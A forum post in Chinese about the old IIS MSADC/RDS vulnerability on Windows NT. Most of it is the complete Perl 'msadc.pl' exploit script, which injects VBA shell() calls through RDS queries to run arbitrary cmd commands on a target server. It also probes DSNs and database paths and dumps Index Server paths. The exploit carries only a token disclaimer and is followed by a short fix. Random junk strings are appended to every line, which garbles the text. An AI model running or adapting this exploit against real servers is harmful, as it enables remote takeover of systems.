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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) Whd >  
#-|fdcb  
涉及程序: |JkfAnrN$I  
Microsoft NT server zJXK:/  
Xg~9<BGsi  
描述: 'Agw~ &$  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 ,#;hI{E  
tE %g)hL-  
详细: &mX_\w /%  
如果你没有时间读详细内容的话,就删除: R*GBxJaw  
c:\Program Files\Common Files\System\Msadc\msadcs.dll i]n2\v AG  
有关的安全问题就没有了。 (iKJ~bJ  
^i@anbH  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 P!-RZEt$  
$SQ$2\iC  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ")KqPD6k  
关于利用ODBC远程漏洞的描述,请参看:  Z 9:  
6UCF w>  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm a!R*O3  
cr;:5D%_  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 =`x }9|[  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp +cfcr*  
(uX?XX^  
这里不再论述。 \W=3P[gb  
qu^g~"s  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: @QTw9,pS  
9(t(sP_  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset OUWK  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! LqYyIbsvf  
E5i5gE"\  
z5gVP8*z5  
#将下面这段保存为txt文件,然后: "perl -x 文件名" mr7Oi `dE  
% PzkVs  
#!perl 1j<uFhi>  
# NsI.mTc2  
# MSADC/RDS 'usage' (aka exploit) script {9(0s| pr  
# $'KQP8M+  
# by rain.forest.puppy .xqi7vVHZ  
# R?u(aY)P  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me mrr]{K  
# beta test and find errors! HW]?%9a  
j^=Eu r/  
use Socket; use Getopt::Std; Mf14> `<`  
getopts("e:vd:h:XR", \%args); M(L6PyEa!Y  
cFc(HADM`r  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; WOZuFS13  
Gtaa^mnxD  
if (!defined $args{h} && !defined $args{R}) { nrY)i_\  
print qq~ |8f}3R 9  
Usage: msadc.pl -h <host> { -d <delay> -X -v } -TVwoK  
-h <host> = host you want to scan (ip or domain) YyYZD{^  
-d <seconds> = delay between calls, default 1 second  g*a+$'  
-X = dump Index Server path table, if available ^R:&c;&,  
-v = verbose .v(GVkE}  
-e = external dictionary file for step 5 ^vMlRt;  
\(Oc3+n6  
Or a -R will resume a command session Q>D//_TF  
Ho&:Zs  
~; exit;} Zb 2pZhkW  
O|sk "YXF  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; $M)SsD~  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} K ,NmDc^  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} |l8=z*v<  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); wxqX42v  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ~qQZhu"  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } nHm29{G0  
\t)va:y  
if (!defined $args{R}){ $ret = &has_msadc; mDz44XO   
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} K?J_cnJ`  
P!Fy kg  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" i=\)[;U  
. "cmd /c "; Dx1(}D  
$in=<STDIN>; chomp $in; {Z k^J  
$command="cmd /c " . $in ; {!D(3~MI  
!.,J;Qt  
if (defined $args{R}) {&load; exit;} qK7:[\T|?T  
K-:y  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; +# 'w} P  
&try_btcustmr; Q k}RcP  
f$QkzWvr  
print "\nStep 2: Trying to make our own DSN..."; qdI%v#'M  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; P}~MO)*1  
l#enbQ`-~  
print "\nStep 3: Trying known DSNs..."; `$Rgn3  
&known_dsn; OY}FtG y  
xjr4')h  
print "\nStep 4: Trying known .mdbs..."; qr4 lr!#t  
&known_mdb; 4 9N.P;b  
cy.r/Z}  
if (defined $args{e}){ Ez~5ax7x  
print "\nStep 5: Trying dictionary of DSN names..."; oaqH@`  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } OM0r*<D"!  
JD#q6 &|  
print "Sorry Charley...maybe next time?\n"; DAb/B  
exit; U.,S.WP+d  
$,@}%NlHc  
############################################################################## dvjj"F'Bf  
enJ; #aA  
sub sendraw { # ripped and modded from whisker _Z]l=5d  
sleep($delay); # it's a DoS on the server! At least on mine... "jyo'r  
my ($pstr)=@_; PolJo?HZ  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || |\Jnr3)  
die("Socket problems\n"); ~g/"p`2-N  
if(connect(S,pack "SnA4x8",2,80,$target)){ P4Pc;8T@!  
select(S); $|=1; ZwBz\jmbP  
print $pstr; my @in=<S>; 8^}/T#l  
select(STDOUT); close(S); q~ a FV<Q  
return @in; QUW`Yc  
} else { die("Can't connect...\n"); }} j%s,%#al  
eZOR{|z  
############################################################################## $x'jf?zs!  
b_RO%L:"yL  
sub make_header { # make the HTTP request _ +DL   
my $msadc=<<EOT je^VJ&ac  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 # &.syD#  
User-Agent: ACTIVEDATA ?@4Mt2Z\  
Host: $ip Kj4BVs  
Content-Length: $clen 3XlQ4  
Connection: Keep-Alive m@XX2l9:9  
|1!fuB A  
ADCClientVersion:01.06 n7bVL#Sq[  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 pYQSn.`V~  
K+vD&Z^  
--!ADM!ROX!YOUR!WORLD! z )hK2JD  
Content-Type: application/x-varg dh`s^D6Q>  
Content-Length: $reqlen ,WWd%DF)  
9< ?w9D.1  
EOT V.:,Q  
; $msadc=~s/\n/\r\n/g; ^slIR!L  
return $msadc;} uSR%6=$  
f4  S:L&  
############################################################################## Bbs1U  
*d C|X  
sub make_req { # make the RDS request M}o.= Iqa  
my ($switch, $p1, $p2)=@_; #).^k-  
my $req=""; my $t1, $t2, $query, $dsn;  #B~ ;j5  
;xiN<f4B  
if ($switch==1){ # this is the btcustmr.mdb query Jn{)CZ  
$query="Select * from Customers where City=" . make_shell(); r5s{t4 ;Ch  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ks. p)F>]  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} !QwB8yK@  
acS~%^"<_  
elsif ($switch==2){ # this is general make table query Ne+Rs+~4  
$query="create table AZZ (B int, C varchar(10))"; {2q"9Ox"  
$dsn="$p1";} }Q: CZ  
xBxiBhqzF  
elsif ($switch==3){ # this is general exploit table query ;U4O` pZ  
$query="select * from AZZ where C=" . make_shell();  dHx4yFS  
$dsn="$p1";} ^Ak?2,xB#+  
h<?Px"& J  
elsif ($switch==4){ # attempt to hork file info from index server fGV'l__\\  
$query="select path from scope()"; eg*aVb  
$dsn="Provider=MSIDXS;";} z{3`nd,  
9`92 >  
elsif ($switch==5){ # bad query !:\0}w$-  
$query="select"; GCYXDovh  
$dsn="$p1";} /F.<Gz;w  
$&.(7F^D  
$t1= make_unicode($query); Caj H;K\  
$t2= make_unicode($dsn); b&yuy  
$req = "\x02\x00\x03\x00"; -`5]%.E&8  
$req.= "\x08\x00" . pack ("S1", length($t1)); C1f$^N  
$req.= "\x00\x00" . $t1 ; VM5'd  
$req.= "\x08\x00" . pack ("S1", length($t2)); 40=u/\/K  
$req.= "\x00\x00" . $t2 ; 9 D.wW  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; F6 ~ ;f;  
return $req;} ih)\P0wed  
`%[m%Y9h  
############################################################################## "\Dqtr w  
=C$"e4%Be  
sub make_shell { # this makes the shell() statement lGahwn:  
return "'|shell(\"$command\")|'";} kJB:=iq/x$  
+(x(Ybl#  
############################################################################## nt_Cb*K<  
W"s/ 8;  
sub make_unicode { # quick little function to convert to unicode Hj`'4  
my ($in)=@_; my $out; ^vh!1"T  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } sE]z.Po=  
return $out;} < `;Mf>V  
mW)kWuOO  
############################################################################## ]Z UE !  
"PTEt{qn  
sub rdo_success { # checks for RDO return success (this is kludge) 19R~&E's  
my (@in) = @_; my $base=content_start(@in); rgXX,+cO  
if($in[$base]=~/multipart\/mixed/){ uUp>N^mmVH  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} KgYQxEbIW  
return 0;} tol-PJS}  
`yl|N L  
##############################################################################  ,e 7 ~G  
dL'oIBp  
sub make_dsn { # this makes a DSN for us bRFZ:hu l  
my @drives=("c","d","e","f"); ]7,0>  
print "\nMaking DSN: "; ShtV2}s|  
foreach $drive (@drives) { 66B,Krz1n  
print "$drive: "; 6E ^m*la%  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . G?~Yw'R^8  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" >G?*rg4  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); zO9WqP_`iR  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; +5O^{Ce6  
return 0 if $2 eq "404"; # not found/doesn't exist n|.eL8lX.<  
if($2 eq "200") { d+h~4'ebv  
foreach $line (@results) { 3`3my=   
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} OP(om$xm  
} return 0;} `\z )EoI  
sjLm-pn3  
############################################################################## qOD^ P  
`|nJAW3  
sub verify_exists { !6taOT>v  
my ($page)=@_; oKkDG|IE  
my @results=sendraw("GET $page HTTP/1.0\n\n");  S{XO3  
return $results[0];} C.u) 2[(  
NU.4_cixb  
############################################################################## T{3-H(-gA  
}# Ji"e  
sub try_btcustmr { d@ZXCiA},  
my @drives=("c","d","e","f"); #Wl9[W/4  
my @dirs=("winnt","winnt35","winnt351","win","windows"); bjwl21;{  
`]6W*^'PD  
foreach $dir (@dirs) { jX$U)O  
print "$dir -> "; # fun status so you can see progress k^q~ 2  
foreach $drive (@drives) { \,nhGh  
print "$drive: "; # ditto ^5!"[RB\  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; HN;f~EQT  
$reqlenlen=length( "$reqlen" ); 2xy{g&G  
$clen= 206 + $reqlenlen + $reqlen; <gvgr4@^yR  
9,>c;7s X  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); sx[mbKj<  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} h=au`o&CG  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} :Ef$[_S>  
N4yQ,tG>aa  
############################################################################## |BbrB[+ v[  
R6o07.]  
sub odbc_error { k^UrFl  
my (@in)=@_; my $base; o(i?_4 E  
my $base = content_start(@in); caTKi8  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this XS0NjZW  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; CfOhk  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; !r*JGv=  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; O~Dm|hP  
return $in[$base+4].$in[$base+5].$in[$base+6];} cn_KHz=  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; t<p4H^  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . Es:oXA  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} |JUAR{  
Pf<BQ*n  
############################################################################## y8di-d3_  
,f~8:LHq  
sub verbose { cbx( L8  
my ($in)=@_; ?+{qmqN  
return if !$verbose; j4D`Xq2 X  
print STDOUT "\n$in\n";} <oTNo>U/k  
VpM(}QHd  
############################################################################## +\B.3%\-  
!xC IvKW  
sub save { C #@5:$  
my ($p1, $p2, $p3, $p4)=@_; d6e]aO=g  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; hQJ-  ~  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; m&6I@S2  
close OUT;} H#I%6k*\a  
MOP#to)k&  
############################################################################## 9>L{K   
XV<{tqa  
sub load { S\11 8TpD  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; >56;M7b(K  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); E K^["_*A  
@p=<IN>; close(IN); X&Pj  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 6Y= MW{=F  
$target= inet_aton($ip) || die("inet_aton problems"); m-|~tve  
print "Resuming to $ip ..."; 9Or  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ulY<4MN  
if($p[1]==1) { 7|7sA'1 cM  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; _dw6 C2]P  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; .l]w4Hf  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); v>p~y u+G  
if (rdo_success(@results)){print "Success!\n";} [yfi:|n1  
else { print "failed\n"; verbose(odbc_error(@results));}} Z= /bD*\g  
elsif ($p[1]==3){ Iqm QQ_KH  
if(run_query("$p[3]")){ E\=23[0  
print "Success!\n";} else { print "failed\n"; }} 2/G`ej!*  
elsif ($p[1]==4){ gPM<LO`;i  
if(run_query($drvst . "$p[3]")){ <-a6'g2y  
print "Success!\n"; } else { print "failed\n"; }} iN@+,]Yjl  
exit;} Ft$tL;  
NYN(2J  
############################################################################## >_um-w#C  
yBwCFn.uP-  
sub create_table { K9N\E"6ZP  
my ($in)=@_; .UJjB}4$f  
$reqlen=length( make_req(2,$in,"") ) - 28; .R>4'#8q  
$reqlenlen=length( "$reqlen" ); {nlqQ.jO  
$clen= 206 + $reqlenlen + $reqlen;  D^JuL6U  
my @results=sendraw(make_header() . make_req(2,$in,"")); B<uUf)t  
return 1 if rdo_success(@results); $P%b?Y/  
my $temp= odbc_error(@results); verbose($temp); :%vD hMHa  
return 1 if $temp=~/Table 'AZZ' already exists/; FYu=e?L  
return 0;}  MfNguh  
Z3]ut #`  
############################################################################## J+6bp0RIh  
N=P+b%%:Z  
sub known_dsn { ^qlfdf  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go %?[H=v(b  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", /iekww^54  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ]@MBE1M  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); H+ Y+8   
`^7ARr/  
foreach $dSn (@dsns) { 4TW>BA  
print "."; 6~j.S "  
next if (!is_access("DSN=$dSn")); Vr=c06a2  
if(create_table("DSN=$dSn")){ &7\q1X&Rr  
print "$dSn successful\n"; #RwqEZ  
if(run_query("DSN=$dSn")){ ^Q$U.sN? R  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 4-:TQp(  
print "Something's borked. Use verbose next time\n";}}} print "\n";} : {Crc   
g[~"c}  
############################################################################## BejeFV3  
/"M7YPX;  
sub is_access { {|~22UkF[V  
my ($in)=@_; L:g!f  
$reqlen=length( make_req(5,$in,"") ) - 28; Jj$N3UCg7  
$reqlenlen=length( "$reqlen" ); aN5w  
$clen= 206 + $reqlenlen + $reqlen; qs]7S^yw  
my @results=sendraw(make_header() . make_req(5,$in,"")); BiUOjQC#  
my $temp= odbc_error(@results); iX{Lc+u3  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); T]%:+_,  
return 0;} <"" fJ`7  
KF[P /cFI  
############################################################################## L[Dr[  
i$A0_ZJKjZ  
sub run_query { )`ZTu -|  
my ($in)=@_; 62 biOea  
$reqlen=length( make_req(3,$in,"") ) - 28; >6(91J  
$reqlenlen=length( "$reqlen" ); T*%Q s&x ;  
$clen= 206 + $reqlenlen + $reqlen; |oSx*Gh  
my @results=sendraw(make_header() . make_req(3,$in,"")); 6_# >s1`R  
return 1 if rdo_success(@results); t9zF WdW  
my $temp= odbc_error(@results); verbose($temp); EfR3$sp  
return 0;} }!-K)j.  
?{ "_9g9  
############################################################################## )PU?`yLTr  
rN'')n/F  
sub known_mdb { D4x~Vk%H  
my @drives=("c","d","e","f","g"); xYJ|G=h&A  
my @dirs=("winnt","winnt35","winnt351","win","windows"); gt9{u"o  
my $dir, $drive, $mdb; >!vb;a!  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; Qifjv0&;u  
qn+b*4  
# this is sparse, because I don't know of many etEm#3  
my @sysmdbs=( "\\catroot\\icatalog.mdb", V(%L}0[]  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", $~|#Rz%v  
"\\system32\\certmdb.mdb", pm-SDp>s  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ab1qcQ<  
)|88wa(M  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", d85\GEF9i  
"\\cfusion\\cfapps\\forums\\forums_.mdb", H}OOkzwrA  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", i>n.r_!E  
"\\cfusion\\cfapps\\security\\realm_.mdb", 9Se7 1  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ydCVG,"  
"\\cfusion\\database\\cfexamples.mdb", 2l)J,z  
"\\cfusion\\database\\cfsnippets.mdb", GT[,[l  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", GUJaeFe  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", q][{?  
"\\cfusion\\brighttiger\\database\\cleam.mdb", .:KZ8'g3}  
"\\cfusion\\database\\smpolicy.mdb", _R!KHi  
"\\cfusion\\database\cypress.mdb", "JLKO${ Y  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", gHLBtl/  
"\\website\\cgi-win\\dbsample.mdb", V[R33NYG  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", zDbjWd  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" nDh]: t=  
); #these are just }E5oa\ 1u  
foreach $drive (@drives) { E\V-< ]o  
foreach $dir (@dirs){ ,O@x v  
foreach $mdb (@sysmdbs) { =v4;t'_^  
print "."; IR(6  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ j +j2_\  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; a1;P2ikuK  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ B5>1T[T'-  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; &+?JY|u  
} else { print "Something's borked. Use verbose next time\n"; }}}}} gO*:< B g  
CKShz]1  
foreach $drive (@drives) { ,?"cKdiZ  
foreach $mdb (@mdbs) { D-7PO3F:F  
print "."; (3YI>/#  
if(create_table($drv . $drive . $dir . $mdb)){ 4J=6A4O5Z  
print "\n" . $drive . $dir . $mdb . " successful\n"; o2 =UUD&  
if(run_query($drv . $drive . $dir . $mdb)){ Ih*}1D)7  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; <$#b3F"I  
} else { print "Something's borked. Use verbose next time\n"; }}}} bWN%dn$$M  
} Ju""i4  
)J?Nfi%  
############################################################################## sd;J(<Ofh  
NZ(c>r6  
sub hork_idx { 4\)"Ih  
print "\nAttempting to dump Index Server tables...\n"; E5d?toZ,8"  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; Y$0Y_fm%  
$reqlen=length( make_req(4,"","") ) - 28; j9zK=eG  
$reqlenlen=length( "$reqlen" ); 1Ih.?7}  
$clen= 206 + $reqlenlen + $reqlen; XeD9RMT  
my @results=sendraw2(make_header() . make_req(4,"","")); Mp=2}d%P  
if (rdo_success(@results)){ .\kcWeC\  
my $max=@results; my $c; my %d; :DP%>H|  
for($c=19; $c<$max; $c++){ t:tT Zh  
$results[$c]=~s/\x00//g; 5OHg% ^  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; EY$Dtb+g8  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; " V[=U13  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; d_v]mfUF  
$d{"$1$2"}="";} ar&j1""  
foreach $c (keys %d){ print "$c\n"; } QR+xPY~  
} else {print "Index server doesn't seem to be installed.\n"; }} s<z`<^hRe  
+ 6noQYe  
############################################################################## ye<b`bL2.  
<K g=?wb  
sub dsn_dict { ;s*   
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); $Cgl$A  
while(<IN>){  W8blHw"  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ?xa70Pb{;  
next if (!is_access("DSN=$dSn")); $&25hvK,  
if(create_table("DSN=$dSn")){ `Wl_yC_*G;  
print "$dSn successful\n"; *|gY7Av*  
if(run_query("DSN=$dSn")){ t]3> X  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { C33BP}c]  
print "Something's borked. Use verbose next time\n";}}} ^4 MJ  
print "\n"; close(IN);} ^l:~r2  
Cy frnU8g  
############################################################################## Y9 /`w@"v  
d/8p?Km  
sub sendraw2 { # ripped and modded from whisker k~0#Iy_{M  
sleep($delay); # it's a DoS on the server! At least on mine... L[s`8u<_)z  
my ($pstr)=@_; f7lt|.p  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Ao )\/AR'  
die("Socket problems\n"); "[QQ(]={  
if(connect(S,pack "SnA4x8",2,80,$target)){ @3w6 !Sgh  
print "Connected. Getting data"; 2jVvK"C  
open(OUT,">raw.out"); my @in; `K7UWtp  
select(S); $|=1; print $pstr; xA'RO-a}h  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} cMfJq}C<  
close(OUT); select(STDOUT); close(S); return @in; dfA2G<Uc  
} else { die("Can't connect...\n"); }} *g*~+B :  
&wX568o  
############################################################################## Y|l&mK?  
B:>>D/O  
sub content_start { # this will take in the server headers 3v91yMx  
my (@in)=@_; my $c; 'uW&AD p  
for ($c=1;$c<500;$c++) { pJ3-f k"i  
if($in[$c] =~/^\x0d\x0a/){ /;5/7Bvj  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } cq`!17"k  
else { return $c+1; }}} 1`sTGNo  
return -1;} # it should never get here actually {/|tVc63  
kt# t-N;}x  
############################################################################## XxYwBc'pc  
-kP$S qR~  
sub funky { Pil_zQ4  
my (@in)=@_; my $error=odbc_error(@in); Z?<&@YQS  
if($error=~/ADO could not find the specified provider/){ [k]3#<sS  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 3s0 I<cL  
exit;} 0<XxR6w  
if($error=~/A Handler is required/){ AZE  
print "\nServer has custom handler filters (they most likely are patched)\n"; qoP /` Y6  
exit;} ATWa/"l(H-  
if($error=~/specified Handler has denied Access/){ c :2w(BVi  
print "\nServer has custom handler filters (they most likely are patched)\n"; r h c&#JS  
exit;}} #Y0ru9  
-uN M_|MO  
############################################################################## hK UK#xx  
"?G?G'yK>  
sub has_msadc { (@Kc(>(: Y  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); :CsrcT=  
my $base=content_start(@results); ,YBe|3  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); G-TD9OgZ  
return 0;} hvc3n> Y[}  
[ <j4w  
######################## 3=("vR`!  
d/[kky}  
)SHB1U25{  
解决方案: -br): }f  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll y q!{\@-  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 NFPWh3),f  
3:>hHQi  
拿出来充数 哈哈
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